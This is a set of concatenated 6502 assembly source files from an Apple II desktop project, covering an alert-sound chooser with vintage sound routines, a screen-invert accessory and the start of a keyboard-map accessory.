jmp InputLoop
END_IF
END_IF
jmp InputLoop
.endproc ; HandleDown
;;; ============================================================
.proc HandleDialogClick
MGTK_CALL MGTK::ScreenToWindow, screentowindow_params
MGTK_CALL MGTK::MoveTo, screentowindow_params::window
;; ----------------------------------------
copy8 winfo::window_id, screentowindow_params::window_id
MGTK_CALL MGTK::ScreenToWindow, screentowindow_params
MGTK_CALL MGTK::MoveTo, screentowindow_params::window
MGTK_CALL MGTK::InRect, ok_button::rect
IF_NOT_ZERO
BTK_CALL BTK::Track, ok_button
jeq Exit
jmp InputLoop
END_IF
MGTK_CALL MGTK::InRect, cancel_button::rect
IF_NOT_ZERO
BTK_CALL BTK::Track, cancel_button
jeq DoCancel
jmp InputLoop
END_IF
;; ----------------------------------------
jmp InputLoop
.endproc ; HandleDialogClick
;;; ============================================================
.proc InstallIndex
ptr := $06
;; Look up routine
asl
tax
copy16 proc_table,x, ptr
;; Put routine into location
jsr Install
rts
.proc Install
ldax ptr
sta ALTZPOFF
bit LCBANK2
bit LCBANK2
stax ptr
.assert kBellProcLength <= 128, error, "Can't BPL this loop"
ldy #kBellProcLength - 1
DO
copy8 (ptr),y, BELLDATA,y
dey
WHILE_POS
sta ALTZPON
bit LCBANK1
bit LCBANK1
rts
.endproc ; Install
.endproc ; InstallIndex
;;; ============================================================
.proc PlayIndex
jsr InstallIndex
;; Play it
JSR_TO_MAIN JUMP_TABLE_BELL
jmp MarkDirty
.endproc ; PlayIndex
;;; ============================================================
.proc SetPortForDialog
MGTK_CALL MGTK::GetWinPort, getwinport_params
;; ASSERT: Not obscured.
MGTK_CALL MGTK::SetPort, grafport_win
rts
.endproc ; SetPortForDialog
;;; ============================================================
.proc DrawWindow
;; Dialog Box
jsr SetPortForDialog
MGTK_CALL MGTK::SetPenSize, pensize_frame
MGTK_CALL MGTK::SetPenMode, notpencopy
MGTK_CALL MGTK::FrameRect, frame_rect
MGTK_CALL MGTK::SetPenSize, pensize_normal
MGTK_CALL MGTK::MoveTo, alert_sound_label_pos
param_call DrawString, alert_sound_label_str
BTK_CALL BTK::Draw, cancel_button
BTK_CALL BTK::Draw, ok_button
rts
.endproc ; DrawWindow
;;; ============================================================
.proc SearchForCurrent
sta ALTZPOFF
bit LCBANK2
bit LCBANK2
ldax #BELLDATA
ldy #kChecksumLength
jsr CRC
sta crc_lo
stx crc_hi
copy8 #0, index
index := *+1
loop: lda #SELF_MODIFIED_BYTE
asl
tay
lda proc_table,y
ldx proc_table+1,y
ldy #kChecksumLength
jsr CRC
crc_lo := *+1
cmp #SELF_MODIFIED_BYTE
bne next
crc_hi := *+1
cpx #SELF_MODIFIED_BYTE
bne next
;; Match!
lda index
jmp finish
next: inc index
lda index
cmp listbox_rec::num_items
bne loop
;; Not Found
lda #$FF
FALL_THROUGH_TO finish
finish: sta ALTZPON
bit LCBANK1
bit LCBANK1
rts
.endproc ; SearchForCurrent
;;; ============================================================
;;; Inputs: A,X = address, Y = number of bytes (<=128)
.proc CRC
stax addr
copy8 #0, hi
dey
DO
addr := *+1
eor SELF_MODIFIED,y
rol ; shift left 16
rol hi
php ; but stash the high bit that
ror ; was shifted out, and shift
plp ; it back in as the new low bit
rol
dey
WHILE_POS
hi := *+1
ldx #SELF_MODIFIED_BYTE
rts
.endproc ; CRC
;;; ============================================================
;;; Sound Routines
;;; ============================================================
;;; Wrappers for sound procs, which place the routine at the
;;; correct location and verify the length.
kChecksumLength = 16
.macro SOUND_PROC name
.define __CURRENT_SOUND_PROC name
.proc name
.pushorg ::BELLPROC
.endmacro
.macro END_SOUND_PROC
.poporg
.endproc ; name
.assert .sizeof(__CURRENT_SOUND_PROC) <= kBellProcLength, error, "Sound proc too large"
.assert .sizeof(__CURRENT_SOUND_PROC) >= kChecksumLength, error, "Sound proc too small"
.undefine __CURRENT_SOUND_PROC
.endmacro
;;; ============================================================
;;; Sound Routine: ProDOS Buzz
Buzz := *
.include "../lib/default_sound.s"
;;; ============================================================
;;; Sound Routine: Control-G Bell
SOUND_PROC ClassicBeep
;; Based on Apple II Monitor ROMs
bell1: lda #$40
jsr wait
ldy #$C0
bell2: lda #$0C
jsr wait
lda SPKR
dey
bne bell2
rts
wait: sec
wait2: pha
wait3: sbc #1
bne wait3
pla
sbc #1
bne wait2
rts
END_SOUND_PROC
;;; ============================================================
;;; Sound Routine: IIgs "Bonk"
;;; https://groups.google.com/g/comp.sys.apple2/c/bhDLdYXnmnE/m/I2-OCScyZaAJ
SOUND_PROC Bonk
;;; **********************************************************
;;; * *
;;; * "Bonk" sound routine for Apple II *
;;; * *
;;; * Copyright Michael J. Mahon, 12/08/2009 *
;;; * *
;;; * Uses 21.3kHz PWM to synthesize a squarewave sound of *
;;; * diminishing volume, mimicking the "bonk" IIgs sound. *
;;; * *
;;; * The PWM pulses are generated in 46-cycle loops, with *
;;; * the high duty cycle pulses varying between 7 cycles *
;;; * and 37 cycles, and the low duty cycle pulses always *
;;; * 7 cycles. *
;;; * *
;;; * Sound generator begins at maximum duty cycle (volume) *
;;; * and diminshes by 1/15 on each volume step, until the *
;;; * volume has been reduced to zero (equal high and low *
;;; * duty cycle half-periods). *
;;; * *
;;; * Input parameters are: *
;;; * 'hperiod' = Half-period of tone in 46-cycle samples *
;;; * 'vperiods' = Tone (full) periods per volume step *
;;; * *
;;; * Since 15 volume steps are required to diminish the *
;;; * volume to zero, the total sound duration is 15 times *
;;; * 'vperiods' cycles of the generated tone. *
;;; * *
;;; **********************************************************
;;; * Page zero data
;;; hperiod := $06 ; Half-period in samples (<129) (Inlined to save bytes)
vperiods := $07 ; Periods until vol step
vctr := $08 ; Volume step counter
;;; * Hardware definitions
SPKR := $C030 ; Apple II speaker toggle
;;; Added to initialize ZP addr
kHPeriod = 83
kVPeriods = 2
lda #kVPeriods
sta vperiods
;;; * Initialize
BONK: lda #15 ; Init to 15 steps
sta vctr ; of dimishing volume.
lda #0 ; Init modified branches.
sta vinc+1
lda #(hiduty-vdec-2)&$ff ; Point to hiduty
sta vdec+1
ldy #kHPeriod ; Samples in half-period
dey ; minus 1.
tya ; Save half-period count.
ldx vperiods ; Countdown to volume step.
;;; * Generate high duty-cycle half of squarewave
nop ; String of NOPs is target
nop ; of varying 'vdec' branch.
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
hidutym2: nop
hiduty: sta SPKR ; Toggle speaker hi
vinc: bpl *+2 ; <modified: 0..15> (always)
nop ; String of NOPs is target
nop ; of varying 'vinc' branch.
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
sta SPKR ; Toggle speaker lo
dey ; Count down half-period
vdec: bpl hiduty ; <modified>
;;; * Generate first low duty-cycle half cycle of squarewave
sta SPKR ; Toggle speaker hi
bpl *+2 ; (always)
sta SPKR ; Toggle speaker lo
dex ; Time to dec volume?
bne dnostep ; -No, delay then rejoin.
dec vctr ; -Yes, volume = zero?
beq ret ; -Yes, return.
dec vdec+1 ; -No, decrease duty
inc vinc+1 ; cycle (volume).
ldx vperiods ; Reload vol step counter
nostep: tay ; Reload half-period ctr
bne lodutym4 ; >0, gen more low pulses.
beq hidutym2 ; (always)
lodutym6: nop ; Kill 2 cycles
lodutym4: nop ; Kill 2 cycles
nop ; Kill 2 cycles
sta SPKR ; Toggle speaker hi
bpl *+2 ; (always)
sta SPKR ; Toggle speaker lo
jsr ret ; Kill 12
jsr ret ; Kill 12
dey ; Half-period expired?
bpl lodutym6 ; -No, keep looping.
tay ; -Yes, reset for hi loop
bpl hidutym2 ; (always)
dnostep: jsr ret ; Kill 18 cycles
nop
nop
nop
bne nostep ; and rejoin...
ret: rts
END_SOUND_PROC
;;; ============================================================
;;; Sound Routine: DazzleDraw's alert sound
SOUND_PROC DazzleDraw
ldy #$20
: lda #$1C
sta SPKR
jsr L9843
dey
bne :-
rts
L9843:
sec
pha
: sbc #$01
bne :-
pla
sbc #$01
bne L9843
rts
END_SOUND_PROC
;;; ============================================================
;;; Sound Routine: Apple Writer ]['s alert sound
SOUND_PROC AwBeep
lda #$80 ; STRAIGHT FROM APPLE WRITER ][
jsr beep1 ; (CANNIBALISM IS THE SINCEREST
lda #$a0 ; FORM OF FLATTERY)
beep1: ldy #$80
beep2: tax
beep3: dex
bne beep3
bit $c030 ; WHAP SPEAKER
dey
bne beep2
nobeep: rts
END_SOUND_PROC
;;; ============================================================
;;; Sound Routine: Koala Illustrator's alert sound
SOUND_PROC Koala
;; From Koala Illustrator
;; $63B2
ldy #$60
bne L63BD
ldy #$08
lda L634F
beq L63C9
L63BD: tya
jsr L63CA
eor #$FF
jsr L63CA
dey
bne L63BD
rts
L63CA: tax
L63CB: dex
bne L63CB
bit SPKR
L63C9: rts
L634F: .byte $FF
END_SOUND_PROC
;;; ============================================================
;;; Sound Routine: 816/Paint's alert sound
SOUND_PROC Paint816
;; $E5F6
ldy #$40
ldx #$15
jsr LE601
ldy #$30
ldx #$1A
LE601: php
sei
LE603: txa
jsr LE612
bit SPKR
dey
bne LE603
plp
rts
LE612: sec
LE613: pha
LE614: sbc #$01
bne LE614
pla
sbc #$01
bne LE613
rts
END_SOUND_PROC
;;; ============================================================
;;; Sound Routine: Apple Panic 1
SOUND_PROC Panic1
;; Played during intro to 'Apple Panic'
;; Adapted for A2D by @frankmilliron
lda #$C0
sta $14
lda #$01
sta $15
core: jsr part2
inc $14
bne core
rts
part2: lda $14
eor #$FF
sta $12
loop1: ldx $15
loop2: ldy $14
lda SPKR
loop3: iny
bne loop3
dex
bne loop2
dec $12
bne loop1
rts
END_SOUND_PROC
;;; ============================================================
;;; Sound Routine: Apple Panic 2
SOUND_PROC Panic2
;; Played during intro to 'Apple Panic'
;; Adapted for A2D by @frankmilliron
ldx #$06
loop1: lda #$60
sta $14
loop2: ldy $14
lda SPKR
loop3: dey
bne loop3
dec $14
bne loop2
lda #$40
sta $14
eor #$FF
sta $15
loop4: ldy $15
lda SPKR
loop5: iny
bne loop5
dec $15
dec $14
bne loop4
dex
bne loop1
rts
END_SOUND_PROC
;;; ============================================================
;;; Sound Routine: Bombdrop
SOUND_PROC Bombdrop
;; From ftp.apple.asimov.net/images/sound/ripped_off_routines.zip
;; BRUN BOMBDROP(CALL3091)
;; Adapted for A2D by @frankmilliron
LDA #$00
STA $FF
LDA #$FF
STA $FE
loop1: LDA #$00
STA SPKR
INC SPKR
DEC SPKR
LDY #$05
loop2: LDX $FF
loop3: DEX
BNE loop3
DEY
BEQ loop4
JMP loop2
loop4: DEC $FE
BEQ exit
INC $FF
JMP loop1
exit: RTS
END_SOUND_PROC
;;; ============================================================
;;; Sound Routine: Detonate
SOUND_PROC Detonate
;; Played during intro to 'Short Circuit' by David H. Schroeder
;; Adapted for A2D by @frankmilliron
ldx #6-1
move: lda patch, x
sta $00, x
dex
bne move ; setup initial conditions
SEC
INC $03
LDX $04
L9483: ROL $00
ROL $01
TXA
BEQ L948B
DEX
L948B: BNE L9497
BCC L9497
LDX thirty
LDA $C000,X
LDX $04
L9497: ROR A
ROR A
ROR A
EOR $01
ASL A
ASL A
ASL A
PHP
LDA $05
BEQ L94B8
DEY
BNE L94B8
TAY
BMI L94B3
LDA $04
BEQ L94B8
DEC $04
TYA
BNE L94B8
L94B3: INC $04
AND #$7F
TAY
L94B8: PLP
DEC $02
BNE L9483
DEC $03
BNE L9483
RTS
thirty: .byte $30
patch: .byte $00,$08,$00,$50,$FF,$FF
END_SOUND_PROC
;;; ============================================================
;;; Sound Routine: Gorgon
SOUND_PROC Gorgon
;; Played during intro to 'Gorgon' by Nasir Gabelli
;; Adapted for A2D by @frankmilliron
lda #0
jsr wait
nop
ldx #0
loop1: lda SPKR
txa
loop2: clc
adc #1
bne loop2
lda SPKR
txa
loop3: nop
sec
sbc #1
bne loop3
inx
cpx #$C0
bne loop1
rts
wait: sec
wait2: pha
wait3: sbc #1
bne wait3
pla
sbc #1
bne wait2
rts
END_SOUND_PROC
;;; ============================================================
;;; Sound Routine: VersionTel
SOUND_PROC VersionTel
;; Alert sound from VersionSoft's VersionTel
;; Adapted for A2D by @frankmilliron
ldy #$5A
l9632: tya
jsr l964c
pha
pha
pha
jsr l0815
pla
pla
pla
eor #$FF
jsr l964c
dey
bne l9632
rts
l964c: tax
l964d: dex
bne l964d
bit SPKR
rts
l0815: jmp l0818
l0818: rts
END_SOUND_PROC
;;; ============================================================
;;; Sound Routine: Laser Swoop from Apple Assembly Line
;;; http://www.txbobsc.com/aal/1981/aal8102.html#a1
SOUND_PROC AALLaserSwoop
;;; ---------------------------------
SPEAKER := $C030
;;; ---------------------------------
PULSE_COUNT := $00
PULSE_WIDTH := $01
SWOOP_COUNT := $02
;;; ---------------------------------
SWOOP: LDA #1 ; ONE PULSE AT EACH WIDTH
STA PULSE_COUNT
LDA #160 ; START WITH MAXIMUM WIDTH
;;; (ALSO TRY VALUES OF 40, 80, 128, AND 160.)
STA PULSE_WIDTH
@l1: LDY PULSE_COUNT
@l2: LDA SPEAKER ; TOGGLE SPEAKER
LDX PULSE_WIDTH
@l3: DEX ; DELAY LOOP FOR ONE PULSE
BNE @l3
DEY ; LOOP FOR NUMBER OF PULSES
BNE @l2 ; AT EACH PULSE WIDTH
DEC PULSE_WIDTH ; SHRINK PULSE WIDTH
BNE @l1 ; TO LIMIT OF ZERO
RTS
;;; ---------------------------------
;;; MULTI-SWOOPER
;;; ---------------------------------
SWOOP2: LDA #10 ; NUMBER OF SWOOPS
STA SWOOP_COUNT
@l1: JSR SWOOP
DEC SWOOP_COUNT
BNE @l1
RTS
END_SOUND_PROC
;;; ============================================================
;;; Sound Routine: Laser Blast from Apple Assembly Line
;;; http://www.txbobsc.com/aal/1981/aal8102.html#a1
SOUND_PROC AALLaserBlast
;;; ---------------------------------
;;; ANOTHER LASER BLAST
;;; ---------------------------------
SPEAKER := $C030
;;; ---------------------------------
BLAST: LDY #4 ; NUMBER OF SHOTS (NB: was 10 in original)
@l1: LDX #64 ; PULSE WIDTH OF FIRST PULSE
@l2: TXA ; START A PULSE WITHIN A SHOT
@l3: DEX ; DELAY FOR ONE PULSE
BNE @l3
TAX
LDA SPEAKER ; TOGGLE SPEAKER
INX
CPX #192 ; PULSE WIDTH OF LAST PULSE
BNE @l2
DEY ; FINISHED SHOOTING?
BNE @l1 ; NO
RTS
END_SOUND_PROC
;;; ============================================================
;;; Sound Routine: "My Own Little Bell" from Apple Assembly Line
;;; https://www.txbobsc.com/aal/1982/aal8206.html#a7
SOUND_PROC AALSCBell
;;; ---------------------------------
;;; MY OWN LITTLE BELL
;;; --------------------------------
SPEAKER := $C030
;;; --------------------------------
SC_BELL:
LDX #50
@l1: LDA #14
JSR MON_DELAY
LDA SPEAKER
LDA #10
JSR MON_DELAY
LDA SPEAKER
LDA #6
JSR MON_DELAY
LDA SPEAKER
DEX
BNE @l1
RTS
MON_DELAY:
wait: sec
wait2: pha
wait3: sbc #1
bne wait3
pla
sbc #1
bne wait2
rts
END_SOUND_PROC
;;; ============================================================
;;; Sound Routine: Klaxon from Apple Assembly Line
;;; https://www.txbobsc.com/aal/1988/aal8805.html#a3
SOUND_PROC AALKlaxon
;;; --------------------------------
;;; from Robert C. Moore, Laurel, Maryland.
;;; --------------------------------
DURATION1 := 0
DURATION2 := 1
PITCH := 2
;;; --------------------------------
SPEAKER := $C030
;;; --------------------------------
BOBSC: JSR KLAXON
KLAXON:LDY #50 ; FIRST PRIMARY PITCH
JSR SOUNDS
LDY #80 ; SECOND PRIMARY PITCH
;;; --------------------------------
SOUNDS:
STY PITCH ; SAVE CALLER'S Y-PITCH
LDA #20 ; LENGTH OF SOUND
STA DURATION1
LDX #63 ; SECONDARY PITCH
;;; --------------------------------
@l2: DEX ; COUNT DOWN SECONDARY CYCLE
BNE @l3 ; ...NOT TIME FOR CLICK YET
BIT SPEAKER ; ...CLICK NOW
LDX #63 ; START ANOTHER CYCLE
;;; --------------------------------
@l3: DEY ; COUNT DOWN PRIMARY CYCLE
BNE @l4 ; ...NOT TIME FOR CLICK YET
BIT SPEAKER ; ...CLICK NOW
LDY PITCH ; START ANOTHER CYCLE
;;; --------------------------------
@l4: DEC DURATION2 ; 256*20 TIMES ALTOGETHER
BNE @l2
DEC DURATION1
BNE @l2
RTS
;;; --------------------------------
T: JSR KLAXON_2
KLAXON_2:
LDY #60 ; FIRST PRIMARY PITCH
JSR SOUNDS_2
LDY #96 ; SECOND PRIMARY PITCH
;;; --------------------------------
SOUNDS_2:
STY PITCH ; SAVE CALLER'S Y-PITCH
LDX #76 ; SECONDARY PITCH
LDA #100 ; LENGTH OF SOUND
;;; --------------------------------
@l1: PHA
@l2: DEX ; COUNT DOWN SECONDARY CYCLE
BNE @l3 ; ...NOT TIME FOR CLICK YET
BIT SPEAKER ; ...CLICK NOW
LDX #76 ; START ANOTHER CYCLE
;;; --------------------------------
@l3: DEY ; COUNT DOWN PRIMARY CYCLE
BNE @l4 ; ...NOT TIME FOR CLICK YET
BIT SPEAKER ; ...CLICK NOW
LDY PITCH ; START ANOTHER CYCLE
;;; --------------------------------
@l4: SBC #1 ; COUNT DOWN TOTAL TIME
BNE @l2
PLA
SBC #1
BNE @l1
RTS
;;; --------------------------------
END_SOUND_PROC
;;; ============================================================
;;; Sound Routine: Obnoxious: WHOPIDOOP
SOUND_PROC OBNWhopi
;; Taken from "Assembly Cookbook for the Apple II/IIe"
;; by Don Lancaster. (Chapter 4: "Obnoxious Sounds")
;; Adapted for A2D by @frankmilliron
LDA #$01
STA TRPCNT
SWEEP: LDY #$18 ; WHOPIDOOP
NXTSWP: TYA
TAX ; DURATION
NXTCYC: TYA ; PITCH
JSR WAIT
BIT SPKR ; WHAP SPEAKER
CPX #$80 ; BYPASS IF GEIGER
BEQ EXIT ; SPECIAL EFFECT
DEX
BNE NXTCYC ; ANOTHER CYCLE
DEY
BNE NXTSWP ; GO UP IN PITCH
DEC TRPCNT ; MADE ALL TRIPS?
BNE SWEEP ; NO, REPEAT
EXIT: RTS ; AND EXIT
TRPCNT: .byte $01 ; TRIP COUNT DECREMENTED HERE
WAIT: SEC
WAIT2: PHA
WAIT3: SBC #1
BNE WAIT3
PLA
SBC #1
BNE WAIT2
RTS
END_SOUND_PROC
;;; ============================================================
;;; Sound Routine: Obnoxious: PHASOR
SOUND_PROC OBNPhasor
;; Taken from "Assembly Cookbook for the Apple II/IIe"
;; by Don Lancaster. (Chapter 4: "Obnoxious Sounds")
;; Adapted for A2D by @frankmilliron
LDA #$06
STA TRPCNT
SWEEP: LDY #$10 ; PHASOR
NXTSWP: TYA
TAX ; DURATION
NXTCYC: TYA ; PITCH
JSR WAIT
BIT SPKR ; WHAP SPEAKER
CPX #$80 ; BYPASS IF GEIGER
BEQ EXIT ; SPECIAL EFFECT
DEX
BNE NXTCYC ; ANOTHER CYCLE
DEY
BNE NXTSWP ; GO UP IN PITCH
DEC TRPCNT ; MADE ALL TRIPS?
BNE SWEEP ; NO, REPEAT
EXIT: RTS ; AND EXIT
TRPCNT: .byte $01 ; TRIP COUNT DECREMENTED HERE
WAIT: SEC
WAIT2: PHA
WAIT3: SBC #1
BNE WAIT3
PLA
SBC #1
BNE WAIT2
RTS
END_SOUND_PROC
;;; ============================================================
;;; Sound Routine: Obnoxious: GLEEP
SOUND_PROC OBNGleep
;; Taken from "Assembly Cookbook for the Apple II/IIe"
;; by Don Lancaster. (Chapter 4: "Obnoxious Sounds")
;; Adapted for A2D by @frankmilliron
LDA #$FF
STA TRPCNT
SWEEP: LDY #$02 ; GLEEP
NXTSWP: TYA
TAX ; DURATION
NXTCYC: TYA ; PITCH
JSR WAIT
BIT SPKR ; WHAP SPEAKER
CPX #$80 ; BYPASS IF GEIGER
BEQ EXIT ; SPECIAL EFFECT
DEX
BNE NXTCYC ; ANOTHER CYCLE
DEY
BNE NXTSWP ; GO UP IN PITCH
DEC TRPCNT ; MADE ALL TRIPS?
BNE SWEEP ; NO, REPEAT
EXIT: RTS ; AND EXIT
TRPCNT: .byte $01 ; TRIP COUNT DECREMENTED HERE
WAIT: SEC
WAIT2: PHA
WAIT3: SBC #1
BNE WAIT3
PLA
SBC #1
BNE WAIT2
RTS
END_SOUND_PROC
;;; ============================================================
;;; "Silent" - flashes the menu bar
SOUND_PROC Silent
.res 16, 0 ; see lib/bell.s - first byte 0 signals silent
.assert 16 >= kChecksumLength, error, "too small"
END_SOUND_PROC
;;; ============================================================
;; Since we swap the proc into place, need to ensure last proc
;; has sufficient padding before routines we actually use
.res ::kBellProcLength
;;; ============================================================
;;; List Box
;;; ============================================================
.proc OnListSelectionChange
lda listbox_rec::selected_index
RTS_IF_NS
jmp PlayIndex
.endproc ; OnListSelectionChange
;;; Play sound if same item is re-clicked.
OnListSelectionNoChange := OnListSelectionChange
;;; Called with A = index
.proc DrawListEntryProc
asl
tax
lda name_table,x
pha
lda name_table+1,x
tax
pla
jmp DrawString
.endproc ; DrawListEntryProc
;;; ============================================================
.include "../lib/uppercase.s"
.include "../lib/drawstring.s"
;;; ============================================================
DA_END_AUX_SEGMENT
;;; ============================================================
DA_START_MAIN_SEGMENT
;;; ============================================================
JSR_TO_AUX aux::AuxEntry
bmi SaveSettings
rts
;;; ============================================================
filename:
PASCAL_STRING kPathnameBellProc
filename_buffer:
.res kPathBufferSize
write_buffer := DA_IO_BUFFER - kBellProcLength
DEFINE_CREATE_PARAMS create_params, filename, ACCESS_DEFAULT, $F1
DEFINE_OPEN_PARAMS open_params, filename, DA_IO_BUFFER
DEFINE_READWRITE_PARAMS write_params, write_buffer, kBellProcLength
DEFINE_CLOSE_PARAMS close_params
;;; ============================================================
.proc SaveSettings
;; Run from Main, but with Aux LCBANK1 in
;; Copy from Main LCBANK2 to somewhere ProDOS can read.
sta ALTZPOFF
bit LCBANK2
bit LCBANK2
COPY_BYTES kBellProcLength, BELLDATA, write_buffer
sta ALTZPON
bit LCBANK1
bit LCBANK1
;; Write to desktop current prefix
ldax #filename
stax create_params::pathname
stax open_params::pathname
jsr DoWrite
bcs done ; failed and canceled
;; Write to the original file location, if necessary
jsr JUMP_TABLE_GET_RAMCARD_FLAG
beq done
ldax #filename_buffer
stax create_params::pathname
stax open_params::pathname
jsr JUMP_TABLE_GET_ORIG_PREFIX
jsr AppendFilename
jsr DoWrite
done: rts
.proc AppendFilename
;; Append filename to buffer
inc filename_buffer ; Add '/' separator
ldx filename_buffer
copy8 #'/', filename_buffer,x
ldx #0 ; Append filename
ldy filename_buffer
DO
inx
iny
copy8 filename,x, filename_buffer,y
WHILE_X_NE filename
sty filename_buffer
rts
.endproc ; AppendFilename
.proc DoWrite
;; First time - ask if we should even try.
copy8 #kErrSaveChanges, message
retry:
;; Create if necessary
copy16 DATELO, create_params::create_date
copy16 TIMELO, create_params::create_time
JUMP_TABLE_MLI_CALL CREATE, create_params
JUMP_TABLE_MLI_CALL OPEN, open_params
bcs error
lda open_params::ref_num
sta write_params::ref_num
sta close_params::ref_num
JUMP_TABLE_MLI_CALL WRITE, write_params
php ; preserve result
JUMP_TABLE_MLI_CALL CLOSE, close_params
plp
bcc ret ; succeeded
error:
message := *+1
lda #SELF_MODIFIED_BYTE
jsr JUMP_TABLE_SHOW_ALERT
;; Second time - prompt to insert.
ldx #kErrInsertSystemDisk
stx message
cmp #kAlertResultOK
beq retry
sec ; failed
ret: rts
second_try_flag:
.byte 0
.endproc ; DoWrite
.endproc ; SaveSettings
;;; ============================================================
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 2,178
|
src/desk.acc/invert.s
|
;;; ============================================================
;;; INVERT - Desk Accessory
;;;
;;; Inverts the screen.
;;; ============================================================
.include "../config.inc"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../mgtk/mgtk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
;;; Graphics Resources
event_params: .tag MGTK::Event
grafport: .tag MGTK::GrafPort
penXOR: .byte MGTK::penXOR
DEFINE_RECT rect, 0, 0, kScreenWidth-1, kScreenHeight-1
;;; ============================================================
;;; DA Init
.proc Init
jsr Invert
MGTK_CALL MGTK::FlushEvents
FALL_THROUGH_TO InputLoop
.endproc ; Init
;;; ============================================================
;;; Main Input Loop
.proc InputLoop
;; No yielding as we don't want the clock to refresh.
loop: MGTK_CALL MGTK::GetEvent, event_params
lda event_params + MGTK::Event::kind
cmp #MGTK::EventKind::button_down ; was clicked?
beq exit
cmp #MGTK::EventKind::key_down ; any key?
beq exit
jmp loop
exit: jmp Invert
.endproc ; InputLoop
;;; ============================================================
;;; Invert
.proc Invert
MGTK_CALL MGTK::HideCursor
MGTK_CALL MGTK::InitPort, grafport
MGTK_CALL MGTK::SetPort, grafport
MGTK_CALL MGTK::SetPenMode, penXOR
MGTK_CALL MGTK::PaintRect, rect
MGTK_CALL MGTK::ShowCursor
rts
.endproc ; Invert
;;; ============================================================
DA_END_AUX_SEGMENT
;;; ============================================================
DA_START_MAIN_SEGMENT
JSR_TO_AUX aux::Init
rts
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 29,735
|
src/desk.acc/key.caps.s
|
;;; ============================================================
;;; KEY.CAPS - Desk Accessory
;;;
;;; Displays a map of the keyboard, showing what key is pressed.
;;; ============================================================
.include "../config.inc"
RESOURCE_FILE "key.caps.res"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../mgtk/mgtk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
kShortcutQuit = res_char_quit_shortcut
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
kKeyWidth = 22
kKeyHeight = 15
kDAWindowId = $80
kDAWidth = kKeyWidth * 31/2
kDAHeight = kKeyHeight * 6
kDALeft = (kScreenWidth - kDAWidth)/2
kDATop = (kScreenHeight - kMenuBarHeight - kDAHeight)/2 + kMenuBarHeight
.params winfo
window_id: .byte kDAWindowId
options: .byte MGTK::Option::go_away_box
title: .addr str_title
hscroll: .byte MGTK::Scroll::option_none
vscroll: .byte MGTK::Scroll::option_none
hthumbmax: .byte 32
hthumbpos: .byte 0
vthumbmax: .byte 32
vthumbpos: .byte 0
status: .byte 0
reserved: .byte 0
mincontwidth: .word kDAWidth
mincontheight: .word kDAHeight
maxcontwidth: .word kDAWidth
maxcontheight: .word kDAHeight
port:
DEFINE_POINT viewloc, kDALeft, kDATop
mapbits: .addr MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved2: .byte 0
DEFINE_RECT maprect, 0, 0, kDAWidth, kDAHeight
pattern: .res 8, $FF
colormasks: .byte MGTK::colormask_and, MGTK::colormask_or
DEFINE_POINT penloc, 0, 0
penwidth: .byte 2
penheight: .byte 1
penmode: .byte MGTK::pencopy
textback: .byte MGTK::textbg_white
textfont: .addr DEFAULT_FONT
nextwinfo: .addr 0
REF_WINFO_MEMBERS
.endparams
str_title:
PASCAL_STRING res_string_window_title
background_pattern:
.byte %11011101
.byte %01110111
.byte %11011101
.byte %01110111
.byte %11011101
.byte %01110111
.byte %11011101
.byte %01110111
DEFINE_RECT background_rect, 0, 0, kDAWidth, kDAHeight
penXOR:
.byte MGTK::penXOR
pencopy:
.byte MGTK::pencopy
notpencopy:
.byte MGTK::notpencopy
;;; ============================================================
.params event_params
kind: .byte 0
;;; EventKind::key_down
key := *
modifiers := * + 1
;;; EventKind::update
window_id := *
;;; otherwise
xcoord := *
ycoord := * + 2
.res 4
.endparams
.params findwindow_params
mousex: .word 0
mousey: .word 0
which_area: .byte 0
window_id: .byte 0
.endparams
.params trackgoaway_params
clicked: .byte 0
.endparams
.params dragwindow_params
window_id: .byte 0
dragx: .word 0
dragy: .word 0
moved: .byte 0
.endparams
.params getwinport_params
window_id: .byte kDAWindowId
port: .addr grafport
.endparams
grafport: .tag MGTK::GrafPort
.params drawtext_params_char
.addr char_label
.byte 1
.endparams
char_label: .byte 0
;;; ============================================================
kKeyboardLeft = kKeyWidth/2
kKeyboardTop = kKeyHeight/2
kKeyboardRight = kKeyboardLeft + kKeyWidth * 29/2
kLeft0 = kKeyboardLeft + kKeyWidth
kLeft1 = kKeyboardLeft + kKeyWidth * 6/4
kLeft2 = kKeyboardLeft + kKeyWidth * 7/4
kLeft3 = kKeyboardLeft + kKeyWidth * 9/4
kLeft4 = kKeyboardLeft + kKeyWidth
kRow0 = kKeyboardTop
kRow1 = kKeyboardTop + 1 * kKeyHeight
kRow2 = kKeyboardTop + 2 * kKeyHeight
kRow3 = kKeyboardTop + 3 * kKeyHeight
kRow4 = kKeyboardTop + 4 * kKeyHeight
DEFINE_RECT keys_bg_rect, kKeyboardLeft, kKeyboardTop, kKeyboardRight, kKeyboardTop + kKeyHeight * 5
.macro KEY_RECT ident, left, top, right, bottom
.if .paramcount = 1
DEFINE_RECT ident, 0, 0, 0, 0
.elseif .paramcount = 3
DEFINE_RECT ident, left, top, left + kKeyWidth, top + kKeyHeight
.elseif .paramcount = 4
DEFINE_RECT ident, left, top, right, top + kKeyHeight
.else
DEFINE_RECT ident, left, top, right, bottom
.endif
.endmacro
key_locations:
KEY_RECT kr00, kLeft0 + 1 * kKeyWidth, kRow0 ; Ctrl-@
KEY_RECT kr01, kLeft2 + 0 * kKeyWidth, kRow2 ; Ctrl-A
KEY_RECT kr02, kLeft3 + 4 * kKeyWidth, kRow3 ; Ctrl-B
KEY_RECT kr03, kLeft3 + 2 * kKeyWidth, kRow3 ; Ctrl-C
KEY_RECT kr04, kLeft2 + 2 * kKeyWidth, kRow2 ; Ctrl-D
KEY_RECT kr05, kLeft1 + 2 * kKeyWidth, kRow1 ; Ctrl-E
